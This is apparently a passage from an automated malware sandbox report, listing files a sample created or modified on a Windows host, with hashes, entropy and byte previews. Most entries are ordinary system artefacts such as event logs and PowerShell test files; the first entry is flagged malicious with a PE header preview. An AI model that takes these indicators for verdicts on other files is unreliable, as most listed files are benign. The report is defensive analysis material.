Encrypted:	false
SSDEEP:	98304:wTjsUxLm7HrkZkwsrK8TrIVng9Hxw+4lJZlU0SY8j/42ULZKGDeSoMjWHpNXBN6:MjhWrkZkXzTrp9Hx8JZ9SY8zCw3SnjOo
MD5:	CDABDC02374167CCD4938E9FE8C31789
SHA1:	59028BD5DA928A0AADF157C39AC2C9281DCC881D
SHA-256:	9161BE21746469B9B3C653B81D7CA6639927E89ECE780A4682A2059BA30E2793
SHA-512:	7E823F4BC54E96E1B4B3972068B1495426ACB145BD9DDBFC7959FEFCA957D874DB844A39BFD6225A97DB31027ED226301F767E4D5CE708C8DA4AAD4E7BA11F61
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d......g.........."..........,S.....@..........@.............................PT...........`.....................................................<....0T.P.....T.......S..+...@T.x...............................(.......8...............x............................text...&........................... ..`.rdata...<.......>..................@..@.data...H.S.......R.................@....pdata........T.......S.............@..@.00cfg........T.......S.............@..@.tls......... T.......S.............@....rsrc...P....0T.......S.............@..@.reloc..x....@T.......S.............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	very short file (no magic)
Category:	modified
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0prodgg4.t4a.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l3rmdnhr.1vp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n0z4xaxe.mqh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4igs0l0.4bk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	4680
Entropy (8bit):	3.71133572297434
Encrypted:	false
SSDEEP:	96:pYMguQII4iQm6h4aGdinipV9ll7UY5HAmzQ+:9A4zj/xne7HO+
MD5:	B64154C7F9DE0F3E8C8F249DA663EC40
SHA1:	EA38D4704DC18E444DBB2A23833A456089ECF013
SHA-256:	3B685B81A7A9EC5D428DD97B381B41A63A2BE54733E9CBCF8D971BFB7DE77AB5
SHA-512:	21338FD6D7DE8C73BE2226FECEA3E4F875503F444AE9D3A42555E6073B9386673F6F5B04412CA63AB541D37112F6ABF60447F7147A7B30FC6A2E5389CCF06F2C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...6.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.S.o.u.r.c.e.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.0.).<./.S.o.u.r.c.e.>..... . . . .<.A.u.t.h.o.r.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.0.).<./.A.u.t.h.o.r.>..... . . . .<.V.e.r.s.i.o.n.>.1...0.<./.V.e.r.s.i.o.n.>..... . . . .<.D.e.s.c.r.i.p.t.i.o.n.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.1.).<./.D.e.s.c.r.i.p.t.i.o.n.>..... . . . .<.U.R.I.>.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.S.o.f.t.w.a.r.e.P.r.o.t.e.c.t.i.o.n.P.l.a.t.f.o.r.m.\.S.v.c.R.e.s.t.a.r.t.T.a.s.k.<./.U.R.I.>..... . . . .<.S.e.c.u.r.i.t.y.D.e.s.c.r.i.p.t.o.r.>.D.:.P.(.A.;.;.F.A.;.;.;.S.Y.).(.A.;.;.F.A.;.;.;.B.A.).

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1079756391222424
Encrypted:	false
SSDEEP:	3:Nlllul0ll/lZ:NllUcl/
MD5:	C296B0C35354DD06C955237718AAC40C
SHA1:	DCE0F8D35974AA0AB49353CD949F2DD8F54B25FF
SHA-256:	A6D63E2AE04A32B3609B7886FBF4D1E0D37B6293C1E8CF6415FED4B76001FC8D
SHA-512:	1AEB19BF2D0C32B0E7ED32614AB1C0A263629D1D0967EAA4B6BFA6FCD81BCE0D0DCCCD596427880FCBC34D1911835FBD7364AE4002EDDCDA4BF63C66F42B7F75
Malicious:	false
Preview:	@...e.................................@..............@..........

C:\Windows\System32\winevt\Logs\Application.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.649579905030079
Encrypted:	false
SSDEEP:	48:M3zrP+sXCrPwfFRVEfWb3/OoNM/yTL3WTeGeHSqdrSDFDSLI:WRCrup/vOo+SLGT/ujoFeI
MD5:	F01F813838EE8E6AA01A1322AFC13CBE
SHA1:	908704B300494EB9A6ADC351C2B1328762C462F4
SHA-256:	D7D923744FADA67FA424D8DD0D5CD5388DDD73755B958828874A9A6DF17B4086
SHA-512:	27CB868A04BB85934F8D317F4A1499B826EFFDB9AFC066F0667364D8EA7A89DC3E559113BD8414419C9ACAE7EE8EA9850C4DCEC162962583F1F73660B927F22D
Malicious:	false
Preview:	ElfChnk.................t.......t...............X...!.;.....................................................................y..!............................................=...........................................................................................................................g...............@...........................n...................M...]...........................h...................................................................&...................................................**..X...t........kQ..!..........D.&.........D..T.Xb.L............A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Z............{..P.r.o.v.i.d.e.r...7...F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.S.P.P.F........)...G.u.i.d.....&.{.E.2.3.B.3.3.B.0.-.C.8.C.9.-.4.7.2.C.-.A.5.F.9.-.F.2.B.D.F.E.

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.1669120609196026
Encrypted:	false
SSDEEP:	384:Ghe6UHi2uepX7xasnPC3FzFtpFDhFPFyF842R:GVUHiapX7xadptrDT9W84y
MD5:	C5116286214EE64F479940A11AE6AE06
SHA1:	5EF7A5571A01449564964F77979385AB44E7AE4E
SHA-256:	E457633148D325083196F0E05427D42DCD6BA60215863EE454EE54B7501A6C6F
SHA-512:	128B8BB01FAB32785215CB408B8C40AC74DA153C4BD50369FFF727A8A1D9B9E8011852F85EC2BBC1866E70CC9DFAE36048B25B738496B50D4736DA656592F5F3
Malicious:	false
Preview:	ElfChnk.........1...............1...........p.......1..\|........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........r...................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.010692427789071
Encrypted:	false
SSDEEP:	384:GhLNzhNCjN0QNGNgN7NxEN5N0RN0zN0mN0RN00N0oN0xN0qNeN0NN0UN0lN09N0Q:GnqqIJMa/Mh9sUwBYAJGUarGlEwxV
MD5:	26C4C5213F3C6B727417EF07207AC1E0
SHA1:	1815CC405C8B70939C252390E2A1AEC87EFF45F2
SHA-256:	767656ADC7440970A3117E0DA8E066D9A3E1DA88CBC82ACABCFA37A3985D5608
SHA-512:	0355BBF16EB471698F47189031E8E18306D8F748E6CC5328C33301BEAAE435647532B24F5EC42A94B92390C19E60D11846B412C6747DC82DC98999E649607B65
Malicious:	false
Preview:	ElfChnk.%.......J.......%.......J............b..Pe.....:....................................................................&...................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........].......M...............................VY..................................**......%........0................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	66960
Entropy (8bit):	4.165323380336998
Encrypted:	false
SSDEEP:	384:CVMV6hfVaVtVbVHVyV5V+VSVBVNVEVrVBVeVPVpVCVigVgVpVeVNVkVUVAVJVgVL:Qhfyuct
MD5:	06A420602500EF36F0F68D5F9AB66E81
SHA1:	CB55D076F1561BC470F039A2757146AE5B51E6A4
SHA-256:	A26FB6BF26226E65C50903D968E7B901F8F7D3065B8B8CAC4AD541060EF28C8A
SHA-512:	DC9AABB6BA8684F6130E42B75F0FC4D257CFF7E60D5C24A76E316EB473024D4F6CF0F043457554CE66CE0E95EB67883F967B4BD372926FDF83503FA05C543960
Malicious:	false
Preview:	ElfChnk..............................................._.....................................................................5l>.................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&......................................................!............&...............................................................@.......X...a.!.....E..........@.....!....&O....0c'O........P........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t...'..Y.J.R>:..=_M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t./.O.p.e.r.a.t.i.o.n.a.l...f.d.........N...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...S.e.a.r.c.h._.c.w.5.n.1.h.2.t.x.y.e.w.y.....O.p..................R....!..........

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.428039879966584
Encrypted:	false
SSDEEP:	384:hhTm5mcumNQYmomTDDr0moOm3OPlfmMsgJm5mnmYmcmum/mqmlmtmumbsmbmvMmk:hqcD6CL49mVpgwQFQ
MD5:	F370E48DC8A79E8B25AABD90C8792FE9
SHA1:	8E89951783F0E67BB9E56668F2E4733ED89B6509
SHA-256:	32A383B047F8E04DCD1A2179C2DCA8206D75F50359496430A08ECB18C140DAF7
SHA-512:	987DA0ED4E711F101D9CC77149AD8D461228EC8023F507C9A653A56010E27D7ABEFA7A28214F3A412769A586E8398D1FCB97501FEFAE9B25959004EFEC622E91
Malicious:	false
Preview:	ElfChnk..!.......!.......!.......!..................o...........................................................................................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................#...............&...................................**.......!......o.T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.3524594952362487
Encrypted:	false
SSDEEP:	48:MPWNWwrP+AQNRBEZWTENO4bnB+zMgq+ckH58ykH5bOTLHyVdHLP7jMzckH58ykHc:ONVaO8sMa3Z85ZMLQrjju3Z85Zu
MD5:	42D893E89DF7DD4514ECAEBF1FC24AFC
SHA1:	09C050EB0F1B945303A963F5190E79D1BD7A476F
SHA-256:	D0AAD2D2D36666A05E81BA2DF16638EFCBA01936B0B09D158A7A6FC806B2CB8D
SHA-512:	E7861511FE63D1E3741E8FA74B38955304B71DB5AD20765192C52E151CF095C9479526F2ED8264F9ECEA8552DBDC2ABBC0650131AA076E72F71CDC0AA53C7B9E
Malicious:	false
Preview:	ElfChnk.....................................p.......-........................................................................:..............................................=...........................................................................................................................f...............?...................................p...........M...F...................................................................................................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.014860518194814
Encrypted:	false
SSDEEP:	1536:xbBN2A4VD7VAx8whAGU2woJQghcI5oIRA4Hw:
MD5:	4FB8E2CF8B3F20534836684947962DC2
SHA1:	B263607E627C81DA77DB65DF5AED2F3FD84B83E2
SHA-256:	DEAB680C467984C31D118AC595F0F57E573CEEC460CC4B43FCEB0BD66F731294
SHA-512:	D982DB741A044E222D567712FB4799FF6524A1D451C3D2EE3DF7EB17031AD20EF4EC7098BCFB3E2B00C929EB6569C858EFCF275B28240425E4BF8D994AED9053
Malicious:	false
Preview:	ElfChnk.........V...............V...................0q....................................................................... I............................................=...................................................................................%.......................................X...............?...............................................M...F...................................................................................................................................z...............**..............................g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.15655690871689
Encrypted:	false
SSDEEP:	768:SPB9TXYa1RFxRaayVadMRFyfqd9xZRta7Ea+5BVZUeaBhN1dJhlBlBJ9tFk6dd3s:eXY5nVYIyyqED5BVZUeouPZ
MD5:	2DE60575CB719BF51FAB8A63F696B052
SHA1:	BD44E6B92412898F185D5565865FEA3778573578
SHA-256:	7C14D6D72CD2DE834A0C4D17A68B2584B83B81C647D2C439E1071600E29A803D
SHA-512:	0471E7824795996992E736F33FEA7AF70EA909804DE3AC59EE76B5D0403901A5147558256C3AAE87BA8F1747D151DE63134661BEB9F6E0FF25AB0E3E89BC6B4A
Malicious:	false
Preview:	ElfChnk.........o...............o..........................................................................................._..................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................y.......................**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	101120
Entropy (8bit):	2.6687194151305405
Encrypted:	false
SSDEEP:	384:kosKxoEoaApoj+ylXMoefoay0oNoayBowoayboqoayhhdo69CcoTorNorWorbvoI:ziDCYFGDCYFt
MD5:	A8144A83C7195965ACF9978B38BD2D30
SHA1:	F1A911B761BCBF3A0EDCA021064F7736E6432ED2
SHA-256:	93E817A4D1F70BEA5C31F8E9FE943A8341237EDDB20376B8F4E6BF0F524290AE
SHA-512:	7CFCAAC2358D7B9A836819B4889EF87F6F4E865EE196955CADF98F175D24CDDF1E8DAD930C58C465E5F50B0706B1D7B1BA9229E078484769B398F13A195D7ABA
Malicious:	false
Preview:	ElfChnk.....................................8J..pL..`.0....................................................................f..................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................3..................................=/...........$..U)..............................**..............hh..!.............$..............................................................>.......V...X.!..e..............hh..!....&O....h!'O.................................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y..k.N.<.D..97d>7.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y./.O.p.e.r.a.t.i.o.n.a.l...!>.U)......!>....[.U.....i...........\|...:....A..3...b...%....=.......F.i.l.e.N.a.m.e.L.e.n.g.t.h.......A..3...b...%....=.......F.i.l.e.N

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8524226245257144
Encrypted:	false
SSDEEP:	384:JhAiPA5PNPxPEPHPhPEPmPSPRP3PoPpPTP8PXPr5P:J2Nr
MD5:	B8E105CC52B7107E2757421373CBA144
SHA1:	39B61BEA2065C4FBEC143881220B37F3BA50A372
SHA-256:	B7EE076088005866A01738ECD3421A4DA3A389FFB9EEB663687823E6647F7B4B
SHA-512:	7670455904F14DA7A9EEFBAD5616D6D00EA262C979EDABB433182500B6EF918C6E534C94DF30D829016C8539DF12CAD5F53EC884C45AA71ACA35CF9B797361BC
Malicious:	false
Preview:	ElfChnk......................................#...&...l2.......................................................................................N...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................#..........'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8432997252442703
Encrypted:	false
SSDEEP:	384:4hZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+l9:4WXSYieD+tvgzmMvRpBWfb
MD5:	39EE3557626C7F112A88A4DE12E904C1
SHA1:	C307FECC944D746A49EEA6451B7DA7301F03504C
SHA-256:	2B47146267E6F31192C54D3EDA77EC9ABE6A88B1C72BA9FE789C8073FD632A5A
SHA-512:	304C866E246B3F63BF126B33AED784913A078D44913FD987D896D2D960578B61BA7E24BA3CB8FC76608AB1E5702D0FE587A5FB8C38CDF8913D60F88B1435A2D9
Malicious:	false
Preview:	ElfChnk......................................"...&.....k.....................................................................n..................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................."..................................**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.9223892466691472
Encrypted:	false
SSDEEP:	384:whqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqh28t:wbCyhLfIXBS5
MD5:	93BC7C28E3A7B0EC7634432FFB5F26AE
SHA1:	388548D6291DA80F672153D1C18E32BDA335AA90
SHA-256:	D354F4EA745283540D197B6D4C57EFC4F539F7566CFB3A06AEBD1243CD222EE1
SHA-512:	3235FEA5A58C72DCD680D436AA2652F5221C6AC6F5A53882C7817A8A65E63C13087CD5660839FC7CFA0F62C666014608B91ABB4235EF5F79F68EF5806252F84A
Malicious:	false
Preview:	ElfChnk.........F...............F...............P............................................................................................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................n...................................................6...................................*..`............0H..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.838106263184782
Encrypted:	false
SSDEEP:	768:ccMhFBuyKskZljdoKXjtT/r18rQXn8r3e5POH:JMhFBuVge
MD5:	A2D41740C1BAF781019F282E37288DDF
SHA1:	A6FE635B3EC8A6923EDE10C23FC79DD32EF4F621
SHA-256:	7008D3010B17C0B09643D10D26B19FB971BB1963C414C1466BEAD617CF9F15E7
SHA-512:	E33A0A2F9473D2D05E9704FE16E6EE34FB51FD8E25A3D60E1F7A67665CA14421B6511D896526AFC7CAE1BF629BB7013FA10663620C5450F1BB51A465EF5A51CB
Malicious:	false
Preview:	ElfChnk.........?...............?...................<.md.....................................................................?.Q................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............m...........................5A......&...................................**..x...........,.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

